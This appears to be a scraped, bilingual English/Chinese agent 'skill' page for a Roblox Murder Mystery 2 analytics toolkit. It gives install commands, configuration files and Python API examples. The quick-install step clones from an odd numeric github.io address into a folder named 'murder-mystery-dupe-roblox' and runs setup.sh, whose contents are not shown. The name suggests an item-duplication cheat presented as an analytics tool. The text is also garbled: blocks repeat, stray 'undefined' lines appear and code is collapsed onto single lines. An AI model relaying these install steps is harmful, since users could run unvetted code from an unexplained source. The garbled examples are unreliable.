MM2 Analytics Roblox Toolkit

MM2 Analytics Roblox工具包

Skill by ara.so — Data Skills collection.

This skill enables AI agents to help developers use the Murder Mystery 2 Analytics Dashboard, a comprehensive toolkit for tracking inventory, analyzing gameplay statistics, and optimizing strategy in Roblox's Murder Mystery 2 game through data visualization and AI-powered insights.

由ara.so开发的Skill — 数据技能合集。

本Skill可让AI Agent帮助开发者使用Murder Mystery 2分析仪表盘，这是一个综合性工具包，通过数据可视化和AI驱动的洞察，在Roblox的Murder Mystery 2游戏中跟踪库存、分析游戏统计数据并优化策略。

What This Project Does

本项目功能

The MM2 Analytics Dashboard is a data analysis and visualization toolkit that provides:

Inventory Management: Track knife skins, gamepasses, and collection completeness
Performance Analytics: Monitor win/loss ratios, role-specific statistics, and gameplay patterns
Strategy Optimization: AI-powered pattern recognition and predictive modeling
Data Visualization: Interactive charts and dashboards for stats tracking
Export Tools: Generate reports in CSV, JSON formats for external analysis

MM2分析仪表盘是一个数据分析与可视化工具包，提供以下功能：

库存管理：跟踪刀具皮肤、游戏通行证和收集完成度
性能分析：监控胜负率、特定角色统计数据和游戏模式
策略优化：AI驱动的模式识别与预测建模
数据可视化：用于统计跟踪的交互式图表和仪表盘
导出工具：生成CSV、JSON格式的报告用于外部分析

Installation

安装

Quick Install (Automated)

快速安装（自动）

bash

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bash

undefined

Clone the repository

git clone https://8015238355.github.io cd murder-mystery-dupe-roblox

Run automated setup

chmod +x setup.sh ./setup.sh --install

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chmod +x setup.sh ./setup.sh --install

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Manual Installation

手动安装

bash

undefined

bash

undefined

Clone repository

git clone https://8015238355.github.io cd murder-mystery-dupe-roblox

Install Node.js dependencies

npm install

Install Python dependencies

python3 -m pip install -r requirements.txt

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python3 -m pip install -r requirements.txt

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Dependencies

依赖项

The project requires:

Python 3.8+ with packages:
```
pandas
```
,
```
numpy
```
,
```
matplotlib
```
,
```
pyyaml
```
,
```
requests
```
Node.js 18+ with packages for web dashboard
Optional: OpenAI/Claude API keys for AI features

本项目需要：

Python 3.8+及以下包：
```
pandas
```
,
```
numpy
```
,
```
matplotlib
```
,
```
pyyaml
```
,
```
requests
```
Node.js 18+及用于Web仪表盘的包
可选：OpenAI/Claude API密钥用于AI功能

Configuration

配置

Environment Setup

环境设置

Create a

.env

file in the project root:

bash

undefined

在项目根目录创建

.env

文件：

bash

undefined

API Keys (optional for AI features)

API_OPENAI_KEY=${OPENAI_API_KEY} API_CLAUDE_KEY=${CLAUDE_API_KEY}

Data directories

DATA_DIRECTORY=./data/collections EXPORT_DIRECTORY=./exports

Analytics settings

ANALYTICS_INTERVAL=300 ENABLE_LIVE_TRACKING=true LOG_LEVEL=INFO

Roblox connection (local data only)

ROBLOX_USER_ID=your_user_id

undefined

ROBLOX_USER_ID=your_user_id

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Profile Configuration

配置文件设置

Create a profile in

config/profiles.yaml

:

yaml

profiles:
  - name: "default_profile"
    username: "MysterySolver2026"
    settings:
      preferred_role: "sheriff"
      tracking_mode: "comprehensive"
      data_refresh_rate: 30
      export_format: ["csv", "json"]
    
    inventory_filter:
      knife_skins:
        rarity: ["legendary", "ancient", "godly"]
        track_duplicates: true
      gamepasses:
        active_only: true
    
    analytics_preferences:
      win_loss_tracking: true
      role_performance: true
      time_analysis: true
      prediction_models: false
    
    strategy_templates:
      - name: "aggressive_sheriff"
        priority: "high_visibility_areas"
        confidence: 0.85
      - name: "passive_innocent"
        priority: "distraction_avoidance"
        confidence: 0.72

在

config/profiles.yaml

中创建配置文件：

yaml

profiles:
  - name: "default_profile"
    username: "MysterySolver2026"
    settings:
      preferred_role: "sheriff"
      tracking_mode: "comprehensive"
      data_refresh_rate: 30
      export_format: ["csv", "json"]
    
    inventory_filter:
      knife_skins:
        rarity: ["legendary", "ancient", "godly"]
        track_duplicates: true
      gamepasses:
        active_only: true
    
    analytics_preferences:
      win_loss_tracking: true
      role_performance: true
      time_analysis: true
      prediction_models: false
    
    strategy_templates:
      - name: "aggressive_sheriff"
        priority: "high_visibility_areas"
        confidence: 0.85
      - name: "passive_innocent"
        priority: "distraction_avoidance"
        confidence: 0.72

Key Commands (CLI)

关键命令（CLI）

Analytics Mode

分析模式

Run comprehensive analytics on your gameplay data:

bash

undefined

运行全面的游戏数据分析：

bash

undefined

Basic analytics

python3 main.py --mode analytics --profile default_profile

With export

python3 main.py --mode analytics
--profile default_profile
--export statistics_2026.json
--format json
--verbose

Live tracking mode

python3 main.py --mode analytics
--profile default_profile
--live
--interval 60

Debug mode

python3 main.py --mode analytics
--profile default_profile
--log-level DEBUG
--verbose

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python3 main.py --mode analytics
--profile default_profile
--log-level DEBUG
--verbose

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Inventory Management

库存管理

Track and analyze your item collection:

bash

undefined

跟踪并分析你的物品收藏：

bash

undefined

Scan inventory

python3 main.py --mode inventory
--scan
--profile default_profile

Filter by rarity

python3 main.py --mode inventory
--filter rarity:legendary,ancient
--export inventory_rare.csv

Check collection completeness

python3 main.py --mode inventory
--check-completeness
--category knife_skins

Find duplicates

python3 main.py --mode inventory
--find-duplicates
--export duplicates_report.json

undefined

python3 main.py --mode inventory
--find-duplicates
--export duplicates_report.json

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Strategy Analysis

策略分析

Analyze gameplay patterns and optimize strategy:

bash

undefined

分析游戏模式并优化策略：

bash

undefined

Analyze win patterns

python3 main.py --mode strategy
--analyze-patterns
--role sheriff
--export patterns.json

Generate recommendations

python3 main.py --mode strategy
--recommend
--based-on last_30_days

Compare strategies

python3 main.py --mode strategy
--compare aggressive_sheriff,passive_innocent
--metrics win_rate,survival_time

undefined

python3 main.py --mode strategy
--compare aggressive_sheriff,passive_innocent
--metrics win_rate,survival_time

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Data Export

数据导出

Export data for external analysis:

bash

undefined

导出数据用于外部分析：

bash

undefined

Export all statistics

python3 main.py --export-all
--format csv
--output ./exports/full_export_2026.csv

Export specific metrics

python3 main.py --export
--metrics win_loss,inventory,strategy
--format json
--output ./exports/metrics.json

Export for visualization

python3 main.py --export
--format visualization
--charts win_rate,role_distribution,inventory_rarity
--output ./exports/viz_data.json

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python3 main.py --export
--format visualization
--charts win_rate,role_distribution,inventory_rarity
--output ./exports/viz_data.json

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Python API Usage

Python API 使用

Inventory Tracker

库存跟踪器

python

from mm2_toolkit import InventoryManager, InventoryFilter

python

from mm2_toolkit import InventoryManager, InventoryFilter

Initialize inventory manager

manager = InventoryManager( profile_name="default_profile", data_directory="./data/collections" )

Load current inventory

manager.load_inventory()

Filter knife skins by rarity

filter_config = InventoryFilter( category="knife_skins", rarity=["legendary", "ancient"], include_duplicates=False )

filtered_items = manager.filter_items(filter_config)

filter_config = InventoryFilter( category="knife_skins", rarity=["legendary", "ancient"], include_duplicates=False )

filtered_items = manager.filter_items(filter_config)

Get collection statistics

stats = manager.get_statistics() print(f"Total items: {stats['total_count']}") print(f"Unique knives: {stats['unique_knife_count']}") print(f"Collection completeness: {stats['completeness_percentage']}%")

Export inventory

manager.export( format="json", output_path="./exports/inventory_export.json", include_metadata=True )

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manager.export( format="json", output_path="./exports/inventory_export.json", include_metadata=True )

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Analytics Engine

分析引擎

python

from mm2_toolkit import AnalyticsEngine, AnalyticsConfig

python

from mm2_toolkit import AnalyticsEngine, AnalyticsConfig

Configure analytics

config = AnalyticsConfig( tracking_mode="comprehensive", refresh_rate=30, enable_predictions=True, api_key_openai="${OPENAI_API_KEY}" )

Initialize engine

engine = AnalyticsEngine(config)

Load gameplay data

engine.load_data( source="local", profile="default_profile", date_range="last_30_days" )

Calculate performance metrics

metrics = engine.calculate_metrics() print(f"Win rate: {metrics['win_rate']:.2%}") print(f"Average survival time: {metrics['avg_survival_seconds']}s") print(f"Sheriff accuracy: {metrics['sheriff_accuracy']:.2%}")

Generate win/loss breakdown by role

role_breakdown = engine.breakdown_by_role() for role, stats in role_breakdown.items(): print(f"{role}: {stats['wins']}W / {stats['losses']}L")

Get AI-powered insights (requires API key)

if config.enable_predictions: insights = engine.generate_insights() for insight in insights: print(f"- {insight['recommendation']}")

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if config.enable_predictions: insights = engine.generate_insights() for insight in insights: print(f"- {insight['recommendation']}")

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Strategy Analyzer

策略分析器

python

from mm2_toolkit import StrategyAnalyzer, StrategyPattern

python

from mm2_toolkit import StrategyAnalyzer, StrategyPattern

Initialize analyzer

analyzer = StrategyAnalyzer(profile="default_profile")

Define strategy pattern

aggressive_pattern = StrategyPattern( name="aggressive_sheriff", role="sheriff", priorities=[ "high_visibility_areas", "rapid_elimination", "coin_collection_secondary" ], risk_tolerance=0.8 )

Analyze pattern effectiveness

results = analyzer.analyze_pattern( pattern=aggressive_pattern, sample_size=100 )

print(f"Pattern win rate: {results['win_rate']:.2%}") print(f"Average time to victory: {results['avg_time_to_win']}s") print(f"Confidence score: {results['confidence']:.2f}")

results = analyzer.analyze_pattern( pattern=aggressive_pattern, sample_size=100 )

print(f"Pattern win rate: {results['win_rate']:.2%}") print(f"Average time to victory: {results['avg_time_to_win']}s") print(f"Confidence score: {results['confidence']:.2f}")

Compare multiple strategies

passive_pattern = StrategyPattern( name="passive_innocent", role="innocent", priorities=[ "stealth_movement", "coin_avoidance", "survival_focus" ], risk_tolerance=0.3 )

comparison = analyzer.compare_strategies([ aggressive_pattern, passive_pattern ])

for result in comparison: print(f"{result['name']}: {result['effectiveness_score']:.2f}")

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passive_pattern = StrategyPattern( name="passive_innocent", role="innocent", priorities=[ "stealth_movement", "coin_avoidance", "survival_focus" ], risk_tolerance=0.3 )

comparison = analyzer.compare_strategies([ aggressive_pattern, passive_pattern ])

for result in comparison: print(f"{result['name']}: {result['effectiveness_score']:.2f}")

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Data Visualization

数据可视化

python

from mm2_toolkit import DataVisualizer, ChartConfig

python

from mm2_toolkit import DataVisualizer, ChartConfig

Initialize visualizer

visualizer = DataVisualizer( theme="dark", resolution=(1920, 1080) )

Load data

visualizer.load_data(source="analytics_engine")

Create win rate chart

win_chart = visualizer.create_chart( chart_type="line", data_field="win_rate", config=ChartConfig( title="Win Rate Over Time", x_axis="date", y_axis="percentage", color_scheme="gradient_blue" ) )

win_chart.save("./exports/win_rate_chart.png")

win_chart = visualizer.create_chart( chart_type="line", data_field="win_rate", config=ChartConfig( title="Win Rate Over Time", x_axis="date", y_axis="percentage", color_scheme="gradient_blue" ) )

win_chart.save("./exports/win_rate_chart.png")

Create inventory distribution pie chart

inventory_chart = visualizer.create_chart( chart_type="pie", data_field="inventory_rarity", config=ChartConfig( title="Knife Rarity Distribution", labels=["Common", "Uncommon", "Rare", "Legendary", "Ancient"], color_scheme="rarity_colors" ) )

inventory_chart.save("./exports/inventory_distribution.png")

inventory_chart = visualizer.create_chart( chart_type="pie", data_field="inventory_rarity", config=ChartConfig( title="Knife Rarity Distribution", labels=["Common", "Uncommon", "Rare", "Legendary", "Ancient"], color_scheme="rarity_colors" ) )

inventory_chart.save("./exports/inventory_distribution.png")

Generate dashboard

dashboard = visualizer.create_dashboard( charts=[ "win_rate_timeline", "role_performance", "inventory_value", "strategy_effectiveness" ], layout="2x2_grid" )

dashboard.export("./exports/dashboard.html")

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dashboard = visualizer.create_dashboard( charts=[ "win_rate_timeline", "role_performance", "inventory_value", "strategy_effectiveness" ], layout="2x2_grid" )

dashboard.export("./exports/dashboard.html")

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Common Patterns

常见模式

Full Analytics Workflow

完整分析流程

python

from mm2_toolkit import (
    ProfileManager,
    InventoryManager,
    AnalyticsEngine,
    StrategyAnalyzer,
    DataVisualizer
)

python

from mm2_toolkit import (
    ProfileManager,
    InventoryManager,
    AnalyticsEngine,
    StrategyAnalyzer,
    DataVisualizer
)

Load profile

profile = ProfileManager.load("default_profile")

Step 1: Scan inventory

inventory = InventoryManager(profile) inventory.scan() inventory_stats = inventory.get_statistics()

Step 2: Analyze gameplay

analytics = AnalyticsEngine(profile.analytics_config) analytics.load_data(date_range="last_7_days") performance = analytics.calculate_metrics()

Step 3: Evaluate strategies

strategy = StrategyAnalyzer(profile) strategy_results = strategy.analyze_all_patterns()

Step 4: Generate visualizations

visualizer = DataVisualizer() visualizer.load_data_from_sources([ inventory, analytics, strategy ])

Create comprehensive report

report = { "profile": profile.username, "generated_at": datetime.now().isoformat(), "inventory": inventory_stats, "performance": performance, "strategies": strategy_results }

Export everything

with open("./exports/full_report.json", "w") as f: json.dump(report, f, indent=2)

visualizer.create_dashboard( charts=["all"], layout="auto" ).export("./exports/dashboard.html")

print("Complete analytics workflow finished!")

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with open("./exports/full_report.json", "w") as f: json.dump(report, f, indent=2)

visualizer.create_dashboard( charts=["all"], layout="auto" ).export("./exports/dashboard.html")

print("Complete analytics workflow finished!")

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Real-time Monitoring

实时监控

python

from mm2_toolkit import LiveTracker
import time

python

from mm2_toolkit import LiveTracker
import time

Initialize live tracker

tracker = LiveTracker( profile="default_profile", refresh_interval=30 )

Start monitoring

tracker.start()

try: while True: # Get current session stats current_stats = tracker.get_current_session()

    print(f"Session time: {current_stats['duration_minutes']}m")
    print(f"Games played: {current_stats['games_played']}")
    print(f"Current win rate: {current_stats['session_win_rate']:.2%}")
    
    # Check for significant events
    events = tracker.get_recent_events()
    for event in events:
        if event['type'] == 'rare_item_obtained':
            print(f"🎉 Rare item obtained: {event['item_name']}")
        elif event['type'] == 'win_streak':
            print(f"🔥 Win streak: {event['streak_length']} games!")
    
    time.sleep(tracker.refresh_interval)

except KeyboardInterrupt: # Save session data tracker.stop() session_summary = tracker.export_session() print(f"\nSession saved: {session_summary['filename']}")

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tracker.start()

try: while True: # Get current session stats current_stats = tracker.get_current_session()

    print(f"Session time: {current_stats['duration_minutes']}m")
    print(f"Games played: {current_stats['games_played']}")
    print(f"Current win rate: {current_stats['session_win_rate']:.2%}")
    
    # Check for significant events
    events = tracker.get_recent_events()
    for event in events:
        if event['type'] == 'rare_item_obtained':
            print(f"🎉 Rare item obtained: {event['item_name']}")
        elif event['type'] == 'win_streak':
            print(f"🔥 Win streak: {event['streak_length']} games!")
    
    time.sleep(tracker.refresh_interval)

except KeyboardInterrupt: # Save session data tracker.stop() session_summary = tracker.export_session() print(f"\nSession saved: {session_summary['filename']}")

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Custom Data Export

自定义数据导出

python

from mm2_toolkit import DataExporter, ExportFormat
import pandas as pd

python

from mm2_toolkit import DataExporter, ExportFormat
import pandas as pd

Initialize exporter

exporter = DataExporter(profile="default_profile")

Define custom export schema

schema = { "inventory": { "fields": ["item_name", "rarity", "category", "obtained_date"], "filter": {"rarity": ["legendary", "ancient"]} }, "gameplay": { "fields": ["date", "role", "outcome", "duration_seconds"], "date_range": "last_30_days" }, "strategy": { "fields": ["pattern_name", "win_rate", "games_played"], "min_games": 10 } }

Export to DataFrame for analysis

data = exporter.export_custom(schema, format=ExportFormat.DATAFRAME)

Perform custom analysis

inventory_df = data['inventory'] gameplay_df = data['gameplay']

Calculate custom metrics

rare_items_count = len(inventory_df) sheriff_win_rate = ( gameplay_df[gameplay_df['role'] == 'sheriff']['outcome'] == 'win' ).mean()

print(f"Rare items owned: {rare_items_count}") print(f"Sheriff win rate: {sheriff_win_rate:.2%}")

rare_items_count = len(inventory_df) sheriff_win_rate = ( gameplay_df[gameplay_df['role'] == 'sheriff']['outcome'] == 'win' ).mean()

print(f"Rare items owned: {rare_items_count}") print(f"Sheriff win rate: {sheriff_win_rate:.2%}")

Export combined report

combined_df = pd.merge( gameplay_df, inventory_df, how='outer', left_index=True, right_index=True )

combined_df.to_csv("./exports/combined_analysis.csv", index=False)

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combined_df = pd.merge( gameplay_df, inventory_df, how='outer', left_index=True, right_index=True )

combined_df.to_csv("./exports/combined_analysis.csv", index=False)

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Troubleshooting

故障排除

Common Issues

常见问题

Issue: "Profile not found" error

bash

undefined

问题："Profile not found"错误

bash

undefined

Verify profile exists

python3 main.py --list-profiles

Create new profile

python3 main.py --create-profile my_profile


**Issue: "No data to analyze" error**
```python

python3 main.py --create-profile my_profile


**问题："No data to analyze"错误**
```python

Check data directory

from mm2_toolkit import DataValidator

validator = DataValidator() status = validator.check_data_availability(profile="default_profile")

if not status['has_data']: print("Data directory is empty. Run inventory scan first:") print("python3 main.py --mode inventory --scan")


**Issue: API key errors with AI features**
```python

from mm2_toolkit import DataValidator

validator = DataValidator() status = validator.check_data_availability(profile="default_profile")

if not status['has_data']: print("Data directory is empty. Run inventory scan first:") print("python3 main.py --mode inventory --scan")


**问题：AI功能的API密钥错误**
```python

Verify environment variables

import os

openai_key = os.getenv('OPENAI_API_KEY') if not openai_key: print("Warning: OPENAI_API_KEY not set. AI features disabled.")

import os

openai_key = os.getenv('OPENAI_API_KEY') if not openai_key: print("Warning: OPENAI_API_KEY not set. AI features disabled.")

Disable AI features in config

config.enable_predictions = False


**Issue: Export format not supported**
```python
from mm2_toolkit import DataExporter, ExportFormat

config.enable_predictions = False


**问题：不支持的导出格式**
```python
from mm2_toolkit import DataExporter, ExportFormat

Check supported formats

supported = ExportFormat.list_supported() print(f"Supported formats: {supported}")

Use correct format

exporter.export( format=ExportFormat.JSON, # Use enum output_path="./exports/data.json" )


**Issue: Slow analytics performance**
```python

exporter.export( format=ExportFormat.JSON, # Use enum output_path="./exports/data.json" )


**问题：分析性能缓慢**
```python

Enable caching

config = AnalyticsConfig( enable_cache=True, cache_ttl=3600, # 1 hour parallel_processing=True )

Use incremental updates

analytics.load_data( mode="incremental", # Only load new data since="last_session" )

undefined

analytics.load_data( mode="incremental", # Only load new data since="last_session" )

undefined

Best Practices

最佳实践

Always use environment variables for API keys and sensitive data
Run inventory scans regularly to keep data up-to-date
Use profile-specific configurations for different play styles
Enable caching for large datasets to improve performance
Export data frequently to prevent data loss
Validate data integrity before running analytics

始终使用环境变量存储API密钥和敏感数据
定期运行库存扫描以保持数据最新
针对不同游戏风格使用特定配置文件
为大型数据集启用缓存以提升性能
频繁导出数据以防止数据丢失
运行分析前验证数据完整性

Additional Resources

额外资源

Configuration examples:
```
config/examples/
```
Sample data:
```
data/samples/
```
API documentation:
```
docs/api.md
```
Strategy guides:
```
docs/strategies.md
```

配置示例：
```
config/examples/
```
示例数据：
```
data/samples/
```
API文档：
```
docs/api.md
```
策略指南：
```
docs/strategies.md
```

mm2-analytics-roblox-toolkit

Original

Translation

MM2 Analytics Roblox Toolkit

MM2 Analytics Roblox工具包

What This Project Does

本项目功能

Installation

安装

Quick Install (Automated)

快速安装（自动）

Clone the repository

Clone the repository

Run automated setup

Run automated setup

Manual Installation

手动安装

Clone repository

Clone repository

Install Node.js dependencies

Install Node.js dependencies

Install Python dependencies

Install Python dependencies

Dependencies

依赖项

Configuration

配置

Environment Setup

环境设置

API Keys (optional for AI features)

API Keys (optional for AI features)

Data directories

Data directories

Analytics settings

Analytics settings

Roblox connection (local data only)

Roblox connection (local data only)

Profile Configuration

配置文件设置

Key Commands (CLI)

关键命令（CLI）

Analytics Mode

分析模式

Basic analytics

Basic analytics

With export

With export

Live tracking mode

Live tracking mode

Debug mode

Debug mode

Inventory Management

库存管理

Scan inventory

Scan inventory

Filter by rarity

Filter by rarity

Check collection completeness

Check collection completeness

Find duplicates

Find duplicates

Strategy Analysis

策略分析

Analyze win patterns

Analyze win patterns

Generate recommendations

Generate recommendations

Compare strategies

Compare strategies

Data Export

数据导出

Export all statistics

Export all statistics

Export specific metrics

Export specific metrics

Export for visualization

Export for visualization

Python API Usage

Python API 使用

Inventory Tracker